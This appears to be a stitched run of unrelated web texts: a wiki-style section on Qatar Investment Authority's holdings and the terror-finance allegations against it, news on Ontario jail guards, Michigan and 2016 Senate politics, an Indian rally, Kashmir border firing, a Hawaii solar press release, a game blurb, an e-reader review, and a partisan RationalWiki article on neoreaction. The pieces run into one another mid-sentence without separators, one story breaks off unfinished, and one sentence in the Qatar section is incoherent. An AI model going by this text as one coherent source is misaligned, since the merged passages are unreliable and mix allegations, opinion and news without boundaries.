By 2011 the company had stakes in Vinci SA, a firm employing 183,000 in 100 countries; in the utility Suez Environnement and in Veolia Environnement.[30] That same year Qatari Diar bought the Port Tarraco Marina in Tarragona, Spain.[31] Early in 2012 the company had 49 projects in the planning or development stage in Qatar and in 29 countries around the world.[32] The company owns The Shard, a sky scraper in London designed by Renzo Piano and the publicly funded Olympic village also known as East Village, London;[33] and the former Royal Dutch Shell plc headquarters.[34] In January 2013 it became known that the company had put on hold a redevelopment project of Chelsea Barracks worth around GBP 3 billion.[35] During the same month Qatari Diar pulled out of the bidding for the development of the site of Athens' former international airport Ellinikon.[36]
Mayor Vincent C. Gray (District of Columbia) announced in early 2013 that he will travel to Qatar to promote the flow of global capital to the district. Qatari Diar is said to back CityCenterDC with around US$700 million.[37] Representatives of Qatari Diar attended an investment conference hosted by the Peruvian Foreign Investment Authority.[38]
Recent developments [ edit ]
Investments potentially in Birmingham the UK's second largest city.
Property Investments in London [ edit ]
Canary Wharf Group Investment Holdings, which is majority owned by Qatar Holdings, is London's largest property owner, with almost 21.5m sq ft of space on its books, according to data from the research firm Datscha. [39]
In addition to its investments with Canary Wharf, Qatar Investment Authority owns the site of the Chelsea Barracks, the Olympic Village and the Shard.
Heathrow Airport [ edit ]
Qatar Investment Authority is a major shareholder in Heathrow Airport, holding 20 percent of the airport. In 2017, the company has invested a further 650 million pounds ($807 million).[40]
Volkswagen [ edit ]
Bloomberg estimated that in September 2015 Qatar Investment Authority lost $5.9 billion on paper from its stakes in Volkswagen AG and Glencore Plc after the carmaker admitted to using an illegal software to cheat on emissions tests in the U.S.[41] By holding 17% of Volkswagen's ordinary stock and 13% of preferred shares, Qatar's sovereign-wealth fund is the third largest investor shareholder in the firm.[41][42]
QIA is also the largest investor in Glencore Plc. (8.2%), a mining company.
Barclays [ edit ]
Since 2008 dealings between Qatar Holding LLC and Barclays were investigated by the Serious Fraud Office (SFO) for suspicious cash-raising practices during the global financial crisis.[43] Allegedly, Barclays received €7.5 billion ($8.2 billion) cash injection from QIA's subsidiary but did not inform its shareholders.[43] Barclays was charged with failing to act with integrity and breaching disclosure rules for UK listed companies.[44]
Moreover, in 2011 both the Serious Fraud Office and the Financial Conduct Authority (FCA) investigated Barclays’ €2.4 billion ($2.7 billion) secret transaction with a Politically Exposed Person (PEP) from Qatar whose identity remains protected by the financial giant and FCA.[44] In that case, Barclays failed to conduct "due skill, care, and diligence" at the base of Britain's anti-money laundering rules.[45] As a result, the UK financial watchdog meted out a record €92 million ($104 million) penalty against the financial giant.[45]
Recent upsurge of Qatari investments in New York and D.C. [ edit ]
In early 2015, the QIA announced its intent to “invest $35 billion in the U.S. over the next five years” in various sectors of the economy.[46] Sheikh Abdullah bin Mohammed bin Saud Al Thani, chief executive of QIA, told U.S. officials in December 2016 that it plans to invest $10 billion in infrastructure projects inside the U.S., although he specified no time frame. It is unclear whether this amount is intended to be part of the previously mentioned $35 billion, or if it is a new initiative.[47]
New York [ edit ]
QIA has purchased $3.78 billion in Manhattan properties since 2014, including 111 West 33rd Street, 501 Seventh Avenue and 250 West 57th Street.[48]
QIA owns a 44% stake in its partnership with Brookfield Property Partners on a new mixed-use development delivering in 2019 that will include five separate buildings.[49]
In April 2015, the Permanent Mission of the State of Qatar purchased four apartment units for roughly $45 million at a development within the United Nations Plaza.[50]
In January 2014, the Qatari government bought a 20,500-square-foot townhouse for $100 million in Manhattan’s Upper East Side to be redeveloped into its consulate. From 2012-2013, Qatar’s prime minister at the time, Sheikh Hamad bin Jassim bin Jaber Al Thani, purchased $285 million in apartments on Manhattan.[51]
QIA was one of the major financiers of a recent development known as CityCenterDC, as it invested $650 million into the project.[52]
Controversies [ edit ]
Campaigns [ edit ]
Stop the Funding of Terrorism [ edit ]
In October 2014 the British newspaper Sunday Telegraph launched a two-month long campaign ("Stop the Funding of Terrorism") to stress Qatar's persistent negligence in countering terrorist finance and actively supporting terrorist entities and enterprises in the Middle East.[53]
The Telegraph's campaign included 34 articles published between 20 September and 16 November 2014, some of which accused Qatar of funding the Islamic State of Iraq and the Levant (ISIL).[54]
Middle East Eye remarked that Sunday Telegraph's campaign coincided with efforts by the newspaper owners, David and Frederick Barclay, battling for ownership of three five-star Mayfair hotels Claridge's, The Berkeley and The Connaught.[55] Qatari royal Sheikh Hamad bin Jassim bin Jaber al-Thani was the Barclay brothers’ opponent, and he ultimately prevailed when in April 2015 the Qatar Investment Authority adjudicated the purchase of the three London hotels.[54]
The British newspaper has denied any allegation of editorial interference by David and Sir Frederick Barclay. Analogously, Qatar has denied the Telegraph's claims. Qatar stated that being a Muslim investment authority does not necessarily mean they support ISIL. Being a Muslim country they do not have to harbor western propaganda to be tagged as not ISIL supporters.[54]
However, shortly after, concerns on Qatar's support to extremism and ISIL were voiced at a public event. During a March 2015 conference hosted by the United States Institute of Peace on the occasion of the official visit to the US of the Sudanese Justice and Equality Movement leader, Tahir el-Faki, Qatar's alleged support of extremism was explored by representatives of the intel community who mentioned several reports suggesting that Sudanese President Omar al-Bashir was hosting ISIS training camps in Darfur supported by the Gulf country.[56][57] An 11 February 2015 piece posted by Sudan quoted a Minni Minawi official denouncing Qatar's support to extremism in the country channeled through Qatar Charity, Qatar's largest NGO, and especially directed at "building housing complexes in remote and isolated areas to harbor and train extremist groups."[57]
Harrods boycott [ edit ]
London's department store Harrods faced a boycott campaign in October 2014 against QIA's subsidiary, Qatar Holding, which purchased Harrods in 2010.[58] The initiative, led by London-based media lawyer Mark Lewis and extensively promoted by the Sunday Telegraph, intended to bring Qatar's role in terror finance to the public's attention.[59]
Mr Lewis was quoted by the Telegraph as saying: "We can stand back and do nothing, but when we do, we are paying for that terror … People need to know where their money is going." The solicitor added that "the scale of its commercial holdings is such that most of us do not even realise that we are buying into its terrorist operations."[59] The campaign attracted public attention and was endorsed by a number of public figures in the UK.[59]
The Qatar Awareness Coalition [ edit ]
On 27 October 2014 the Qatar Awareness Coalition (QAC), a group of high-profile individuals affiliated with American newspapers, platforms specialized on counterterrorism and private companies seeking to "raise awareness of Qatar and their activities around terror, genocide, and transnational organized crime - including slavery and narcotics", addressed a public letter to Harvey and Bob Weinstein, the founders of Miramax Films.[60][61][62]
As mentioned above, Miramax is largely owned by the Qatar Investment Authority; yet in December 2013, Miramax and the Weinstein Company signed a 20-year deal for future cooperation. The QAC signatories claimed that the deal "reunited the company with its founders", and thereby united "the Weinstein brothers, Miramax, and Qatar – a prolific state sponsor of terrorism across North Africa and the Middle East – in one corporate entity."[62]
The purpose of the initiative was to sensitize Harvey and Bob Weinstein as well as the public to the "conflict of interest" supposedly occurring when "terrorist financing commingles with Hollywood."[62]
Qatar Islamic Bank (QIB) [ edit ]
Qatar Investment Authority's affiliation with Qatar Islamic Bank (16.67%) raises concerns about the extent to which the sovereign wealth fund's may be or have been involved in some of the bank's disputable – if not controversial – activities.
In a September 2015 piece, the Consortium Against Terrorist Finance (CATF) discussed the Sharia-compliant financial giant's correspondents and posited that several QIB's correspondents "have controversial histories of affiliation with or support of terrorist or extremist activities".[63]
Among the most concerning QIB's correspondents identified by CATF are:
Al Rajhi Bank, which became known to the public for the conspicuous financial support offered by some of its senior officers to al-Qaeda's terrorist cause for decades; [63] [64] [65]
Islami Bank Bangladesh Limited (IBBL), with an extensive track record of engagements in terrorist finance; [63] [66] [67]
Jordan Islamic Bank and MashreqBank PSC, both on the 2013 prohibited investment list of the Illinois State Board of Investments.
See also [ edit ]Premier Kathleen Wynne can't guarantee that a new deal with correctional workers won't end up costing the province more money, despite repeated pledges to keep such contracts "net zero."
As the province works to eliminate a $7.5-billion deficit, the government has said new public-sector contracts would be cost neutral, meaning any salary increases are offset by savings elsewhere.
But a deal reached this weekend with 6,000 jail guards and probation officers, averting a strike just hours before they were set to walk out, does not settle wages. Outstanding monetary issues will go to arbitration.
We'll work real hard to get as much as we can. - Warren (Smokey) Thomas, OPSEU President
Wynne said Monday that the terms already agreed to are "well within" net zero, but she conceded she can't say for sure that the entire deal will be net zero once the arbitrator rules.
"I can't guarantee that, no," she said. "The arbitrator will know the net zero deals that have been reached across government, so the arbitrator will be working within those parameters."
The Ontario Public Service Employees Union said it will certainly seek higher wages at arbitration. An earlier tentative agreement that was rejected by the membership would have given them no increase in the first year, a lump sum in the second year and a 1.4-per-cent raise in the third year of the deal.
The correctional staff are hoping to be paid commensurate with police officers and firefighters, said OPSEU President Warren (Smokey) Thomas.
"We'll work real hard to get as much as we can."
Future negotiations will go to arbitration
The monetary issues will be sorted out through expedited mediation-arbitration, a voluntary form of interest arbitration. The correctional workers will also lose the right to strike and disputes in future negotiations will go to binding interest arbitration, like police and firefighters.
The government has said that the deal recognizes that correctional employees' work is "essential," though they are not declared an essential service under legislation in the same way as police and firefighters. But the end result of interest arbitration and no right to strike is the same, said union representatives.
Interest arbitration is often cited by municipalities as a reason for increasing police and firefighter salaries. The Association of Municipalities of Ontario argues that arbitrators place greater priority on replicating similar agreements than on the employer's ability to pay. Private member's bills have made unsuccessful attempts at changing the system.
OPSEU said Ontario correctional workers earn $67,000 a year on average. Federal correctional officers top out around $75,000 a year. The top rates of police and firefighter salaries can hit $90,000.
The union said this correctional agreement will see improvements in time off, improvements in the ability to earn and take time off, as well as a commitment to hire 25 new probation and parole officers.'It’s a big decision, and I’m going to look at it very carefully and thoughtfully,' Camp said. Camp weighing Michigan Senate bid
GOP Rep. Dave Camp is considering a possible Senate run in Michigan in 2014, a move that could put in play another Democratic seat heading into next year’s midterm elections.
Camp has met with Senate Minority Leader Mitch McConnell (R-Ky.) about the race, he said in an interview.
Story Continued Below
“I have talked to McConnell,” Camp told POLITICO on Tuesday. “I’m looking at it.”
( Also on POLITICO: Amash downbeat on Michigan Senate seat)
“It’s a big decision, and I’m going to look at it very carefully and thoughtfully,” Camp added. The Michigan Republican said he did not have any timeline for getting into the race.
Camp, who just turned 60, is the chairman of the powerful House Ways and Means Committee, but he is term-limited in that post and will have to step down from that position at the end of this Congress.
The Michigan Republican is also a strong fundraiser and has more than $3 million the bank as of June 30, according to his most recent campaign disclosure report.
( Also on POLITICO: Hillary Clinton, Anthony Weiner, Edward Snowden — had enough?)
Camp has been working closely with Senate Finance Committee Chairman Max Baucus (D-Mont.) to craft a major tax-reform proposal, with the two even going on the road together in joint appearances to support their efforts to reshape the U.S. tax code. So far, they’ve appeared together at events in Minnesota and New Jersey.
However, if Camp were to get into the Michigan Senate race, it could have a negative effect on his efforts with Baucus, Democrats say.
With Democratic Sen. Carl Levin retiring, Senate Republicans are looking for a top-tier candidate for the race but have not coalesced behind any of the hopefuls yet.
( Also on POLITICO: Max Baucus tax reform push at risk)
Terri Lynn Land, a former Michigan secretary of state, in already in the race and has begun drawing Democratic attacks. The NRSC met with a Michigan judge, Kim Small, about the seat this month.
But GOP Rep. Justin Amash, who has also considered jumping into the race, predicts it will be difficult for any Republican to win in the Wolverine State next year.
“Otherwise it becomes a very difficult battle and it’s already a difficult battle, no matter what,” Amash said at GOP event over the weekend. “This is a Democratic state, still, and for a Republican to win a Senate race you have to have a very good year for Republicans….”
Rep. Gary Peters is the presumptive Democratic nominee and has performed well in hypothetical matchups with potential GOP opponents in recent polls. But Camp could present a formidable challenge for Peters.
Camp was first elected to the House in 1990 after stints as a congressional aide and a state lawmaker. A low-key, pro-business Republican with close ties to Speaker John Boehner (R-Ohio), Camp became chairman of the Ways and Means panel in 2008, jumping over the more senior Wally Herger (R-Calif.).
Camp was a key player on the 1996 welfare reform bill. He also supported the Medicare Part D expansion pushed by President George W. Bush and then Speaker Dennis Hastert (R-Ill.) in 2003. He backed the Bush tax cuts, as well as GOP efforts to privatize Social Security, both of which are likely Democratic lines of attack in any Senate run.
Yet, Camp has also worked with Democrats to expand education tax-credits and scholarships for low-income students.
Camp announced in July 2012 that he was being treated for non-Hodgkin’s lymphoma. After receiving chemotherapy - and losing all his hair - Camp said in February that he was cancer-free.Jaipur: In a rally, organised in Malpura town in protest against Hindu Mahasabha activist Kamlesh Tiwari's alleged derogatory remarks, several people from the Muslim community were found raising pro-Islamic State slogans.
"During the rally, which started from a mosque and passed through the town, some people shouted slogans favouring the terror organisation ISIS," SP Tonk Deepak Kumar was quoted as saying by PTI.
On the basis of video footage recovered, the police has identified five accused.
An FIR was lodged on Saturday with Malpura police station against the identified as well as unidentified persons for shouting 'ISIS Zindabad' under section 153 (A) of IPC.
The SP also alleges that pro-Pakistan slogans were also heard.
Tiwari is facing flak from Muslims for allegedly making derogatory remarks against Prophet Muhammad.
About one lakh Muslims protesters gathered in Muzaffarnagar and demanded death penalty for Tiwari.
(With PTI inputs)Last September, as the idea that the Trump candidacy was something more than an ephemeral novelty began to sink in, Ward Baker, the executive director of the National Republican Senatorial Committee, sent a memo to his senior staff. “Let’s face facts,” Baker wrote. “Trump says what’s on his mind, and that’s a problem. Our candidates will have to spend full time defending him or condemning him if that continues. And that’s a place we never, ever want to be.” Baker’s seven-page memo, which was leaked to The Washington Post, instructed candidates to “run your own race” and to “show your independence” from the man he described as a “misguided missile” — but at the same time, he cautioned, be mindful of the fact that “Trump has connected with voters on issues like trade with China and America’s broken borders.”
Even eight months before Trump effectively claimed the nomination, Baker grasped the uniquely fraught terrain the party’s unexpected standard-bearer had laid out before the Republicans who would be sharing a ticket with him in November. The connection between presidential nominees and so-called down-ballot candidates is historically clear, and has become more so as the country has become more polarized. That’s especially the case when it comes to the Senate. With (for the most part) increasing frequency since 1913 — the year the 17th Amendment was passed, designating that senators would be elected by popular vote rather than by state legislatures — voters have tended to elect Senate candidates who belong to the same party as the presidential candidate they favor.
Both parties still hold close the memories of the exceptional examples of this phenomenon, the bonanza years and the catastrophes. In 1980, Ronald Reagan’s victory over Carter was the crest of a tidal wave that also gave Republicans 12 Senate seats and control over the upper chamber for the first time in almost three decades. In 1964, Barry Goldwater’s support for “extremism in the defense of liberty” cost Republicans two-thirds of both the Senate and the House.
But Trump presents a much more complex weather system for his ticket-mates to navigate than either of these cases. His views are not wedded to a coherent ideological movement within his party (as Goldwater’s were), nor is his unpopularity a simple judgment on his record (as Carter’s was). Instead, Trump is a sui generis figure who must be accepted or rejected on his own terms, not artfully hedged around in the way politicians are accustomed to doing. And while Trump was undoubtedly the most popular Republican primary contestant in a field of 17, it’s still not clear how many of his opponents’ supporters will vote for their party’s pick on Election Day. For an at-risk Republican senator this fall, to back away from Trump is, by extension, to snub his millions of die-hard loyalists, the one group of party voters that is sure to show up on Nov. 8. But to go all-in for Trump is to take leave of your Republican bona fides and embrace life as a Trump Mini-Me — a gamble that not a single Republican senator up for re-election this fall appears to have the stomach for.
None of this seems to overly concern Trump. When I asked him recently whether the party’s maintaining its majority in the Senate meant anything to him, he replied: “Well, I’d like them to do that. But I don’t mind being a free agent, either.” Trump has shown similarly little interest in helping his party’s committees build the sort of war chests typically required in a campaign year. After winning the presidential nomination on a shoestring budget and with fewer paid staff members than the average candidate for governor, he has been visibly reluctant to help build much in the way of national campaign infrastructure, sending a clear message to his fellow Republicans: This fall, you’re on your own. As Ryan Williams, a strategist with the 2012 Romney presidential campaign, told me: “Traditionally, the nominee has a robust campaign that absorbs the R.N.C. effort and works in tandem with the down-ballot campaigns. We did that with Romney in 2012. This time around, there’s a complete void at the presidential level. Trump’s trying to play a game of baseball and hasn’t put out an infield.”
In addition to Kirk, there are five Republican incumbents running in states that Obama won in 2012 whose fortunes are now lashed to those of the Trump campaign: Kelly Ayotte in New Hampshire, Ron Johnson in Wisconsin, Marco Rubio in Florida, Pat Toomey in Pennsylvania and Rob Portman in Ohio. In May, Ayotte offered her “support” for Trump, but a spokeswoman quickly clarified to reporters that Ayotte “hasn’t and isn’t planning to endorse anyone this cycle.” Johnson supplied messaging advice to the Trump campaign during the Wisconsin primary in April and declared the day after Trump vanquished Ted Cruz on May 3 that “I am going to certainly endorse the Republican nominee.” Two weeks later, however, Johnson ratcheted down his endorsement to Ayotte-esque “support,” warily adding that he would “be concentrating on the areas of agreement with Mr. Trump.”
Rubio, meanwhile, has remained in a state of Trump-induced torment ever since his drubbing in the presidential primaries. Before announcing that he would run again for the Senate, Rubio said that he would be “honored” to help his party’s nominee, but later hedged, saying he did not expect to speak at the Republican convention on Trump’s behalf — and finally declaring he would not attend the convention at all. “I think that the Senate needs to fulfill its role as a check and balance on the president, no matter who it is,” he said last month. This was clearly intended to suggest that, if re-elected, he would not blindly do the bidding of a President Trump — a notion that has prompted belittlement from Rubio’s Democratic opponents. “What’s so funny about that premise is that Rubio’s the only Senate candidate we’re running against who has proven he’s ineffective at standing up to Donald Trump,” Sadie Weiner, the Democratic Senatorial Campaign Committee’s communications director, told me.
Toomey and Portman, for their part, have both distanced themselves from, among other things, Trump’s claim that Gonzalo Curiel, the American-born federal judge who is presiding over a lawsuit against Trump University, would show bias against him on account of his being “Mexican.” But denouncing and renouncing are two different things. Come November, both Portman and Toomey may need Trump — or rather, Trump’s voters. As Steven Law, the chief executive of the conservative “super PAC” American Crossroads, told me: “According to research we’ve seen, there were demonstrably voters in 2012 who stayed home in Pennsylvania and Ohio. Specifically, there were white working-class voters who were discouraged by the perception that Romney was a wealthy plutocrat.” As evidenced by exit polls taken early in the primary season across the Rust Belt, Trump’s message of aggrievement has especially resonated with the voters that Law says Toomey and Portman cannot afford to alienate.NRG and Hawaiian Electric Reach New Power Purchase Agreements to Revive Major Solar Projects on Oahu
Utility-Scale Solar Farms will Include Largest Solar Project in Hawaii
Release Date: 1/31/2017
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PRINCETON, NJ and HONOLULU – Jan. 31, 2017 – NRG Energy, Inc. (NYSE: NRG) and Hawaiian Electric Company have reached power purchase agreements (PPAs) for Hawaiian Electric to buy electricity generated by two Oahu grid-scale solar facilities.
The 14.7 megawatt (MW-AC) Lanikuhana Solar plant will provide electricity at 11.4 cents per kilowatt-hour (kWh) and the 45.9-MW Waipio Solar plant, which will be the state’s largest, will provide electricity at 10.4 cents per kWh. The prices assume the estimated Hawaii State Tax Credit applicable to the projects. NRG and Hawaiian Electric are also continuing plans for execution of a PPA for the 49-MW Kawailoa Solar facility, also on Oahu. All three projects are targeted to come online in 2019.
The three projects were originally proposed by SunEdison and were acquired by NRG at the end of November 2016 during SunEdison’s bankruptcy proceedings. In February 2016, as a result of SunEdison missing contract milestones and SunEdison’s financial condition, Hawaiian Electric terminated the original PPAs for the three projects.
The negotiated prices in the new 22-year agreements are lower than the SunEdison agreements, which were both at about 13.5 cents/kWh. Other terms are detailed in the agreements submitted today to the Hawaii Public Utilities Commission for approval.
“Working with NRG to get these projects back on is an important step forward in our renewable energy plans for Oahu,” said Alan Oshima, Hawaiian Electric president and CEO. ”Our decision to cancel the SunEdison agreements before bankruptcy has allowed us to bring better value to our customers who will get the benefits of lower prices over the life of these contracts.”
Together, the three solar projects will create a combined total of 109.6 MW-AC of solar generation and will contribute 3 percent toward Hawaii meeting its 100 percent renewable portfolio standard. These projects mark NRG’s entry into the Hawaii utility-scale solar market, reflecting the company’s ongoing commitment to diversifying its electric generation and providing customers a range of renewable energy solutions.
“We’re thrilled to partner with Hawaiian Electric on these exciting projects which will help Hawaii meet its aggressive 100 percent renewable energy targets and provide decades of clean energy generation in the state,” said Craig Cornelius, president, NRG Renewables. “We’re looking forward to moving construction forward and bringing the projects online as soon as possible.”
Hawaii ranks among the top states in installed solar capacity, according to the Solar Energy Industries Association, with a blend of residential, commercial and grid-scale projects. NRG’s projects will add significantly to the state’s installed solar capacity.
About NRG
NRG is the leading integrated power company in the U.S., built on the strength of the nation’s largest and most diverse competitive electric generation portfolio and leading retail electricity platform. A Fortune 200 company, NRG creates value through best in class operations, reliable and efficient electric generation, and a retail platform serving residential and commercial businesses. Working with electricity customers, large and small, we continually innovate, embrace and implement sustainable solutions for producing and managing energy. We aim to be pioneers in developing smarter energy choices and delivering exceptional service as our retail electricity providers serve almost 3 million residential and commercial customers throughout the country. More information is available at www.nrg.com. Connect with NRG Energy on Facebook and follow us on Twitter @nrgenergy.
About Hawaiian Electric
Since 1891, Hawaiian Electric Company has powered the islands' development from a Hawaiian kingdom to a modern American state. Hawaiian Electric and its subsidiaries, Maui Electric and Hawaii Electric Light, serve the islands of Oahu, Maui, Lanai, Molokai and Hawaii, home to 95 percent of Hawaii’s people. In a changing world, the Hawaiian Electric Companies are leading in adding renewable energy and developing energy solutions for customers to achieve a clean energy future for Hawaii. To commemorate its 125th anniversary, Hawaiian Electric will give back to the community with 125 Acts of Aloha. These charitable donations and service projects will benefit agencies and programs committed to building a more sustainable future for Hawaii. For more information, visit www.hawaiianelectric.com.
Contacts:
NRG (Media) - Erik Linden 609-524-4519 erik.linden@nrg.com
NRG (Investors) – Lindsey Puchyr 609-524-4527 lindsey.puchyr@nrg.com
Hawaiian Electric (Media) – Peter Rosegg 808-223-9932 peter.rosegg@hawaiianelectric.com25-year-old Jugal Kishore of Moradabad, India got more than he could have ever anticipated on his wedding day when his wife-to-be, Indira, decided to switch husbands during an emergency medical procedure related to Kishore’s epilepsy.
According to a recent local report, Indira (two years Kishore’s junior) had grown irritated when the pair’s traditional varmala ceremony was abruptly halted by a sudden epileptic seizure on the part of Kishore (she claims she did not know about his illness prior to this incident). The enfranchised young bride then made a surprise announcement during her fiancee’s time away, that she wanted to get going with the ceremony and would marry one of the willing male guests in place of Kishore. The challenge was met by the bride’s sister’s brother-in-law, Harpal Singh, and the two completed their vows just before potential husband no. 1 returned from his treatment.
There were reportedly words exchanged, dishes thrown, and legal complaints lodged, but in the end |
is now bringing its maddening tap-based action to Android, tomorrow.
Hyper Square will have you tapping, dragging, swiping, and rotating squares into their correct positions.
Matching squares up with their targets boost the seconds on your timer, giving you extra time to burn through more levels.
Music plays a large role in Hyper Square, too, intensifying the game’s already fast-paced rhythm.
The game is a relentless, twitchy arcade experience that won Casual Connect Asia's IndiePrize Critic's Choice Award in 2014.
Apple also featured it in its Best of May 2014 lineup last year.
Look out for Hyper Square on Google Play this Thursday, March 26th.Remember that new e-reader from Kobo we told you about, not all that many minutes ago? Say hello to the Aura. The successor to the Glo owes more than just its name to the recently introduced Aura HD -- the device has also brought over the high-end specs and a bit of the device language from that Cadillac of e-readers. When the company handed off the reader, the first thing we noticed was that best in class front lighting. Kobo mastered that back with the Glo and has naturally trotted it out on subsequent devices.
Also immediately apparent is the size of the thing. The Aura appears smaller than other six-inch readers. Hold it up against the Paperwhite and it's clear that there's considerably less bezel. Also, the bezel lays flush with the display -- Kobo's dumped the old infrared touch for a capacitive screen, so there's no need for a gap. The device is impressively thin and light compared to past Kobo readers -- and the rest of the market, for that matter. This really is an impressive piece of hardware, though even with that in mind, the $150 price tag may be tough for all but the most hardcore readers to swallow. Around the back, you'll notice that Kobo brought a bit of the crooked design from the HD, though it's a lot more subtle than on that reader. As an homage to past Kobo readers, the criss cross diamond design is back, though it's also far more subtle and smaller this time out.Pakistani forces targeted 12 Indian posts late last night along the International Border in Jammu and Kashmir, at an area where cross border firing killed an Indian jawan and four Pakistani soldiers hours before.Reports suggest that a civilian was injured in mortar shelling by Pakistani troops through the night in Samba district, 41 km from Jammu. This is the third ceasefire violation by Pakistan in two days.Pakistan had on Wednesday evening summoned Indian Deputy High Commissioner JP Singh in Islamabad to register protest after four of its rangers were killed in retaliatory fire by India after a jawan was killed. Pakistani Rangers had fired on Indian soldiers patrolling the border.Indian troops stopped firing when the Rangers raised a white flag, asking for time to remove the bodies.Union Home Minister Rajnath Singh, after being briefed about the death of Constable Ram Gowria, had asked the forces to give a "suitable and appropriate reply for any such unprovoked firing," an official statement said.Pakistan said it had summoned the Indian envoy to protest against the "Shahadat (martyrdom) of two personnel of Pakistani Rangers".On Tuesday, Defence Minister Manohar Parrikar had said the Indian army would retaliate with "double the force" to any ceasefire violation by Pakistan.Cross-border violence has, in recent months, been the worst in over a decade. In October, at least 20 civilians were killed on both sides. The worst violence was in the Kashmir Valley in early December, when terrorists killed 11 Indian soldiers and police in the middle of elections in the state.India summoned Pakistani High Commissioner Abdul Basit earlier this week to protest against the possibility of 26/11 mastermind Zakiur-Rahman Lakhvi walking free. Lakhvi, who was arrested in 2009 for orchestrating the Mumbai attacks, was granted bail by a Pakistani court on December 18, drawing strong condemnation from New Delhi. Pakistan this week arrested him in another case, ensuring that he remains in jail for now. Pakistan had said it will appeal against his bail in the Supreme Court.From RationalWiki
“ ” A king? You want a king? Boy, nobody wants a king! Ignatius, are you sure you're OK? —John Kennedy Toole, A Confederacy of Dunces
The neoreactionary movement (a.k.a. neoreaction, NRx, the Dark Enlightenment) is a loosely-defined cluster of Internet-based political thinkers who wish to return society to forms of government older than liberal democracy. They generally present their views as a revival of the traditions of Western civilization, or a return to a natural order of things.
Many of the current wave of neoreactionaries were former libertarians who had concluded that freedom and the free market were fundamentally incompatible with liberal democracy. Curtis "Mencius Moldbug" Yarvin, generally considered the founder of the current movement, describes his own journey as "from Mises to Carlyle" via Hans-Hermann Hoppe, an anarcho-capitalist who pushed feudalism as his desired end state.[1] It's ideal for soi-disant libertarians who realise they don't actually like freedom for others all that much.[2]
Neoreactionaries are the latest in a long line of intellectuals who somehow think that their chosen authoritarian thugs wouldn't put them up against the wall. Possibly they hope to use sheer volume of words as a bulletproof shield,[3] or consider themselves somehow too competent, virtuous, and useful to end up one of the serfs.
The movement is largely insignificant and mostly an object of curiosity (one must hope it remains this way), though it has attracted some of the pseudo-intellectual variety of racist. It has helped serve as an ideological foundation for parts of the alt-right, though few of those read things.
History [ edit ]
An elaborate April 2013 map of the wider Dark Enlightenment categorized by theme, made by Scharlach of Habitable Worlds. It is unlikely that more than half the people on this diagram would think they belong there, but the diagram has been propagated with approval in the neoreactionary blogosphere.
Mencius Moldbug (who by day is software engineer Curtis Yarvin) of the prolix Unqualified Reservations[4] is generally considered the founder of neoreaction as we know it. He started as a commenter on right-wing blog 2Blowhards, and his first Unqualified Reservations post, "A formalist manifesto", was originally a guest post there.[5]
The subculture started amongst the Bay Area technolibertarian subculture, particularly including the transhumanists — Moldbug commented extensively on Overcoming Bias, the predecessor of LessWrong; Michael Anissimov worked at the Singularity Institute for Artificial Intelligence (now MIRI), which runs LessWrong; and for a long time, LessWrong was the only place you'd see these ideas unless you tripped over a neoreactionary blog.
Eliezer Yudkowsky, founder of LessWrong, explicitly repudiated neoreaction,[6] citing Scott Alexander's Anti-Reactionary FAQ,[7] and has continued to emphasise that he wants nothing to do with these people.[8] The neoreactionaries took umbrage at this and left, many to the comments on Scott's blog. However, even as their ideas are of no importance to Yudkowsky's, his ideas remain important to the formation of theirs.[9]
Nick Land, a British philosopher who blogs at Outside In,[10] coined the term "Dark Enlightenment". He was the co-founder of the "Cybernetic Culture Research Unit", a "rogue unit" at Warwick University whose concerns primarily revolved around pounding techno and shedloads of pills;[11] after a particularly horrible bout of amphetamine psychosis, he took a hard rightward turn and wrote the essay "The Dark Enlightenment", analysing Moldbug. He is also an apostle of Accelerationism, a movement that in his view seeks the "indefinite acceleration of capitalism"[12] He is currently an affiliate of The New Centre for Research and Practice.[13]
Other significant participants include Michael Anissimov of More Right.[14] Vox Day was happy to be considered part of this movement in 2013,[15] though he ridiculed the term "dark enlightenment" as media hype in 2014.[16]
The term "neo-reactionary" (with a hyphen) was used in passing by Moldbug in 2008,[17] but was first used as a name for the movement as a whole by libertarian blogger Arnold Kling in July 2010.[18] Moldbug had originally called his ideology "formalism,"[19] but Kling's usage was quickly adopted by the subculture.
The movement came to the attention of the world (outside the Bay Area and LessWrong) courtesy of a November 2013 TechCrunch article, "Geeks for Monarchy: The Rise of the Neoreactionaries".[20] Corey Pein suggests in The Baffler that neoreaction is an outgrowth of Silicon Valley technolibertarianism, citing statements by Peter Thiel,[21] Patri Friedman, and Balaji Srinivasan that reflect neoreactionary ideas without using neoreactionary terminology;[22] he concludes that neoreactionaries, and Silicon Valley libertarians in general, are overgrown manchildren with a crippling lack of self-awareness. Matthew Walther, at The American Spectator, finds them "silly but not scary", a "harmless product of the Age of Twitter", and prescribes alcohol, football, and P. G. Wodehouse.[23]
(The term "neo-reactionary" was also used by George Orwell in 1943,[24] to refer to conservatives who felt that human nature was not perfectible and that any changes to society were therefore not worth pursuing.)
Forerunners [ edit ]
“ ” The completed puzzle would show literate men the disaster course that history had been taking for the past four centuries.
Early [ edit ]
An early forerunner of neoreaction was the effort of ideologues in the southern United States in the 1850s to justify slavery. This was later tagged the "reactionary enlightenment":[25]
If the political task of the abolitionists was a difficult one, the burden facing the South was even more challenging. A stream of books, pamphlets, and editorials poured forth from Southern presses in response to abolitionist demands. Louis Hartz called this theoretical effort of the South to justify slavery the reactionary Enlightenment. [...] Hartz was trying to convey the nature of the concerted effort on the part of Southern intellectuals to reexamine the entire nature of America as a liberal society based on the triumph of the Enlightenment. Hartz asks, "Had America suddenly produced, out of nowhere, a movement of reactionary feudalism?" Southern writers began by seeking to find historical precedents that would justify slavery. Men like George Fitzhugh, Thomas R. Dew, and J. D. B. DeBow pointed to the existence of slavery in the Old Testament, in Greek and Roman democracy, and under feudalism. In their search for models the Southern writers began to turn against modernity itself. They attacked the doctrine of individualism; they attacked Locke and Jefferson; they attacked capitalism; they attacked what they called free society itself.
Many neoreactionary positions — including the technophilic transhumanist crossover — are anticipated in the Manifesto of Futurism from 1908, particularly:
8. We are on the extreme promontory of the centuries! What is the use of looking behind at the moment when we must open the mysterious shutters of the impossible? Time and Space died yesterday. We are already living in the absolute, since we have already created eternal, omnipresent speed. 9. We want to glorify war — the only hygiene of the world — militarism, patriotism, the destructive gesture of the anarchists, the beautiful ideas which kill, and contempt for woman. 10. We want to demolish museums and libraries, fight morality, feminism and all opportunist and utilitarian cowardice.
Anissimov is a big fan[26] of Italian 20th century reactionary philosopher Julius Evola.
